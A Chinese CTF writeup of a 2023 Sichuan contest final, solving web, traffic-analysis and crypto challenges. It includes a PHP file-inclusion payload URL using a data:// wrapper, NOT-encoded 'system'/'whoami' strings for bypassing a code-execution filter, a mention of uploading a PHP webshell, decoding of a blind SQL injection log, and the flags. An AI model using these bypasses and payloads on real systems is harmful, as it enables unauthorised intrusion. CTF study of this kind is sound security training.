2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup

文章目录

  • Web
    • 前端验证
    • PHP_Try
  • Misc
    • HelloWorld
    • 密码在这
    • easy_log
  • Crypto
    • baser

线下“断网”CTF个人赛,题都很简单(新手级难度),总共10道题目,解了6题。

赛题附件请自取:
链接:https://pan.baidu.com/s/1lgNEBO7a1L4KLE2t_pXoow 
提取码:moch

Web

前端验证

就简单的绕过前端验证,Disable JavaScript插件直接一开,直接传PHP WebShell即可

在这里插入图片描述

PHP_Try

都是非常常见的考点

<?php
error_reporting(0);
$username=$_GET['username'];
$file=$_GET['file'];
$a=$_GET['a'];

if(is_numeric($username)&&isset($username)){
      highlight_file(__FILE__);
}
else{
      echo "<h2>传一个 username 试试 ?</h2>";
      die("<h3>username 用户讨厌字母</h3>");

}
if(substr(md5($username),0,5)==="3a824"){
      echo("惊呆了,小伙子<br>");
if(isset($a)&&file_get_contents($a,'r')==="this is so easy")
{
      echo "hello<br>";
      if(!preg_match('/fff.php/',$file)&&preg_match('/filter|data|input|base|[0-9]/i',$file)){
      echo "小伙子,你想嘎啥?";
      exit(0);
} 
      include($file); 
}
else
{
      die("??这就要结束了<br>");
}
}
else{
      die("咋回事???<br>");
}

?>

首先爆破username的正确数值,简单写个Python跑即可

import hashlib

for num in range(10000):
	numMd5 = hashlib.md5(str(num).encode()).hexdigest()
	if numMd5[0:5] == "3a824":
		print(numMd5, num)

在这里插入图片描述
isset($a)&&file_get_contents($a,'r')==="this is so easy"直接用伪协议传,然后包含fff.php即可

/index.php?username=2022&a=data://text/plain,this is so easy&file=fff.php

在这里插入图片描述
访问/fl4a4asdjkg.php,发现是代码执行绕过
在这里插入图片描述

直接用我的这篇文章里的URL编码取反绕过:浅谈PHP代码执行中出现过滤限制的绕过执行方法

PS C:\Users\Administrator\Downloads> php -r "var_dump(urlencode(~'system'));"
Command line code:1:
string(18) "%8C%86%8C%8B%9A%92"
PS C:\Users\Administrator\Downloads> php -r "var_dump(urlencode(~'whoami'));"
Command line code:1:
string(18) "%88%97%90%9E%92%96"

在这里插入图片描述

Misc

HelloWorld

直接搜索关键字DASCTF{,选择替换即可显示出来

在这里插入图片描述

DASCTF{63fe66f7bb230272df7c34e8c3b7266d}

密码在这

按照长度排序,发现最长的一个包有RAR

在这里插入图片描述
试用tshark过滤提取出来

D:\Wireshark\tshark.exe -r .\pcap.pcap -T fields -Y data.data -e data.data

在这里插入图片描述

Python简单转换一下

hexString = "526172211a0701003392b5e50a01050600050101808000833fe6aa5502033cb000049c0020d4bc9c5b80030008666c61672e747874300100030f7664e898bc843a2deea13f7084beb0ef58ebe9779b9c1b4a678da13b6e641cf4869d9f0d797fcab50d7368a10a0302d30a2116f4bcd80157108ce51fbd5c9498348f5effcf4cee88444551f18f82c56db23536e613490e3e20d60911b1f03b06593de5337537bd1d77565103050400ffa567b22002030b0005003000000000800000067365637265740a0302e0c0f918f4bcd801d12727d32103230bb7800004aa800000e58ac34b8003000353544d0a073a70617373776f7264c5ab34240032fa24ba0f9741b3160e14341160b44cc1133550dffe0f9ee8f7eba584c76f6600d2558fb21a3fe410426e7a5c998b2ee5a81d77565103050400444f4e4503e70e63"
with open('flag.rar', 'wb') as f:
	f.write(bytes.fromhex(hexString))

在这里插入图片描述

注意,前面这些干扰数据需要去掉,得到Rar,题目提示说需要使用winrar打开,盲猜就是存在NTFS流隐写

NTFS文件流隐写如果要压缩必须使用WinRar压缩

使用Winrar解压

在这里插入图片描述

NtfsStreansEdutior发现隐藏的密码

在这里插入图片描述
导出,得到解压密码:SXMlMjB0aGlzJTIwdGhlJTIwcGFzc3dvcmQlM0Y=
解压flag.rar得到flag

DASCTF{I have learned it!!!}

easy_log

很明显的二分法布尔盲注入流量,%3E是大于,并且发现了一段base64

PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('cGFzc3dvcmQ6IHNAZncjdiVmOQ=='));"
Command line code:1:
string(19) "password: s@fw#v%f9"

在这里插入图片描述
这里的重点就是,稍微需要一点点理解二分法布尔盲注入,使用大于的情况下判断的结果是怎么得出的

布尔盲注是根据返回的包不同,观察是否查询语法正确的,这里虽然看不到返回包的内容,但是可以看到返回包的长度,就是状态码200之后的就是返回包长度。

flag字段的第一位内容为例,如果ascii(substr((select group_concat(flag) from flag),1,1))>78,那么接下来的就是继续比较>78的数值了,但是这里第一位的内容后续的查询记录都是<78的,所以就能得出当返回包长度为704的时候就是查询错误,反之当返回包长度为699时则为查询正确

在这里插入图片描述
所以判断每一位的最后一条查询记录是否为True即可,如果为True,则需要数值+1,反之则就是该值

with open('access.log', 'r') as f:
	lines = f.readlines()
	idx = 2
	result = '' 
	for i in range(len(lines)):
		if 'flag),{},1))'.format(idx) in lines[i]:
			idx += 1
			asciiCode = lines[i-1][lines[i-1].find('%3E')+3:lines[i-1].find(' HTTP/1.1')]
			if ' 200 699 ' in lines[i-1]:
				result += chr(int(asciiCode) + 1)
			else:
				result += chr(int(asciiCode))
print(result)
with open('flag.zip', 'wb') as f:
	f.write(bytes.fromhex(result))

得到一个压缩包,密码前面也有,直接解压得到flag

DASCTF{fd67c1798e9cb29e8fc467e9dcefbd7f}

Crypto

baser

from uuid import *

from caser import something
from secret import flag
base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result =""
for i in range(len(flag)):
    if flag[i] in base_table:
        result +=base_table[(base_table.index(flag[i])+33)%64]
    else:
        result +=flag[i]
print(result)

#khzj0m{9caZ87VV-8X77-WW/+-78Wa-eZVdaYYe9/dZ}

很简单的逆向

base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result = "khzj0m{9caZ87VV-8X77-WW/+-78Wa-eZVdaYYe9/dZ}"
flag = ""
for i in range(len(result)):
	if result[i] in base_table:
		flag += base_table[(base_table.index(result[i])-33)%64]
	else:
		flag += result[i]
print(flag)
PS C:\Users\Administrator\Downloads> python .\code.py
DASCTF{c754ba00-b2aa-11ed-ab15-94085339ce84}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/112116.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Academic Inquiry|如何阅读英文文献

相关素材&#xff1a; 知云文献阅读器、谷粉学术 相关可借鉴文章&#xff1a; [1]Academic Inquiry|国外文献查找-CSDN博客 [2]Academic accumulation|英文文献速读-CSDN博客 [3]Academic Inquiry|edge、chrome浏览器插件配置及相关问题解答-CSDN博客 一、相关素材准备 &#…

最新Ai智能创作系统源码V3.0,AI绘画系统/支持GPT联网提问/支持Prompt应用+搭建部署教程

一、AI创作系统 SparkAi创作系统是基于OpenAI很火的ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统&#xff0c;支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如…

kubernetes-service微服务

目录 一、service微服务 二、Ipvs模式 三、ClusterIP 1.ClusterIP 2.headless 四、NodePort 1.NodePort 2.默认端口 五、LoadBalancer 1.LoadBalancer 2.metallb 六、ExternalName 一、service微服务 Kubernetes Service微服务是一种基于Kubernetes的微服务架构&…

智慧矿山:AI算法在带式运输机中的异物识别应用

随着现代农业和工业的发展&#xff0c;带式运输机在各种生产作业中发挥着越来越重要的作用。然而&#xff0c;在带式运输机运行过程中&#xff0c;可能会混入各种异物&#xff0c;这些异物的存在可能会对运输过程和设备本身造成损害。为了解决这一问题&#xff0c;本文将介绍一…

一个极好用的浏览器标签页插件

这是我登录后&#xff0c;并且上传了个人壁纸的页面 Br标签页 一 . 我们来看看界面和功能1.注册登录2.首页及右键功能3.添加小组件和app网址4.切换壁纸5. 计划页面 二 . Edge浏览器安装和chrome&#xff08;谷歌&#xff09;浏览器安装1. Edge浏览器安装2. chrome&#xff08;谷…

【java】命令行,包

文件夹情况&#xff1a; HelloWorld.java package com.demo; public class HelloWorld{public static void print(){System.out.println("HelloWorld!");}public static void main(String[] args){print();} } import.java import com.demo.HelloWorld; public cla…

K8S的pod创建过程

创建流程图 用户发起请求创建deployment&#xff1b;apiserver收到创建资源的请求&#xff0c;apiserver对客户端操作进行身份认证&#xff0c;认证完成后接受该请求&#xff0c;并把相关的信息保存到etcd中&#xff0c;然后返回确认信息给客户端&#xff1b;apiserver向etcd…

EDA常用数字器件硬件描述

EDA常用数字器件硬件描述 前言 在使用了一段时间EDA编程之后&#xff0c;来回顾一下基本的知识&#xff0c;看看如何实现基本的EDA常用数字器件对应的硬件描述 一、组合逻辑器件描述 1. 基本的逻辑门电路 与、或、非&#xff08;取反&#xff09;、与非、或非、异或、同或 …

Centos7安装Docker,安装DockerCompose(集群化部署),Docker私服镜像仓库

0.安装Docker Docker 分为 CE 和 EE 两大版本。CE 即社区版&#xff08;免费&#xff0c;支持周期 7 个月&#xff09;&#xff0c;EE 即企业版&#xff0c;强调安全&#xff0c;付费使用&#xff0c;支持周期 24 个月。 Docker CE 分为 stable test 和 nightly 三个更新频道…

数据结构第一课-----------数据结构的介绍

作者前言 &#x1f382; ✨✨✨✨✨✨&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f382; ​&#x1f382; 作者介绍&#xff1a; &#x1f382;&#x1f382; &#x1f382; &#x1f389;&#x1f389;&#x1f389…

VueRouter 源码解析

重要函数思维导图 路由注册 在开始之前&#xff0c;推荐大家 clone 一份源码对照着看。因为篇幅较长&#xff0c;函数间的跳转也很多。 使用路由之前&#xff0c;需要调用 Vue.use(VueRouter)&#xff0c;这是因为让插件可以使用 Vue export function initUse(Vue: GlobalAP…

有哪些项目适合程序员业余时间做,并且短期内能赚点小钱?

要我说&#xff0c;程序员赚点小钱就别指望着自己搞个大项目了。 这几年的市场环境不好&#xff0c;如果你没点家底的话&#xff0c;打工攒的那点积蓄让你创业&#xff0c;一不小心就会血本无归。 对于程序员来说&#xff0c;最合适的还是给别人打工&#xff01;低风险稳定回款…

Vlice DM蓝牙5.2双模热插拔PCB

键盘使用说明索引&#xff08;均为出厂默认值&#xff09; 软件支持&#xff08;驱动的详细使用帮助&#xff09;一些常见问题解答&#xff08;FAQ&#xff09;首次使用步骤蓝牙配对规则&#xff08;重要&#xff09;蓝牙和USB切换键盘默认层默认触发层0的FN键配置的功能默认功…

创造产业链协同优势后,凌雄科技在DaaS行业转动成长飞轮

企业服务领域&#xff0c;一直存在一种共识&#xff1a;做好很难&#xff0c;但一旦服务模式跑通了&#xff0c;得到了市场的认可&#xff0c;要滚起雪球就会事半功倍。 重资产、重运营的DaaS&#xff08;设备及服务&#xff09;赛道&#xff0c;是个非常典型的细分领域。在这…

苹果AirTag固件更新

苹果公司针对其热销的物品追踪器 AirTag 于今天发布了新的固件更新&#xff0c;最新版本号为 2A61&#xff0c;但是这次更新苹果并未提供发布说明&#xff0c;所以目前还不知道这次更新有什么新内容。 关于这次更新&#xff0c;用户无法自己手动更新 AirTag 固件&#xff0c;因…

能看就能下?这个工具太牛了~

在抖音或者TikTok上看到很多精彩视频&#xff0c;想保存或者在微信或者其他地方分享&#xff0c;但是抖音和TikTok的APP都做了限制&#xff0c;有些视频没有下载权限&#xff0c;而且即使可以下载&#xff0c;也都会带上水印&#xff0c;影响观看效果。那么要如何在抖音和TikTo…

Pandas教程(非常详细)(第一部分)

Pandas 库是一个免费、开源的第三方 Python 库&#xff0c;是 Python 数据分析必不可少的工具之一&#xff0c;它为 Python 数据分析提供了高性能&#xff0c;且易于使用的数据结构&#xff0c;即 Series 和 DataFrame。Pandas 自诞生后被应用于众多的领域&#xff0c;比如金融…

Distribution-Aware Coordinate Representation for Human Pose Estimation阅读笔记

主要研究人体姿态估计中heatmap转坐标的方法&#xff0c;提出一种新的解码方法 &#xff08;其实这人体姿态我毛也不会&#xff0c;过来看看这个heatmap解码方法&#xff09; 代码&#xff1a;https://github.com/ilovepose/DarkPose/blob/master/lib/core/inference.py 方法…

【SOC基础】单片机学习案例汇总 Part1:电机驱动、点亮LED

&#x1f4e2;&#xff1a;如果你也对机器人、人工智能感兴趣&#xff0c;看来我们志同道合✨ &#x1f4e2;&#xff1a;不妨浏览一下我的博客主页【https://blog.csdn.net/weixin_51244852】 &#x1f4e2;&#xff1a;文章若有幸对你有帮助&#xff0c;可点赞 &#x1f44d;…

【QT】鼠标常用事件

新建项目 加标签控件 当鼠标进去&#xff0c;显示【鼠标进入】&#xff0c;离开时显示【鼠标离开】 将QLable提升成自己的控件&#xff0c;然后再去捕获 添加文件 改继承的类名 提升类 同一个父类&#xff0c;可以提升 效果 现在代码就和Qlabel对应起来了。 在.h中声明&…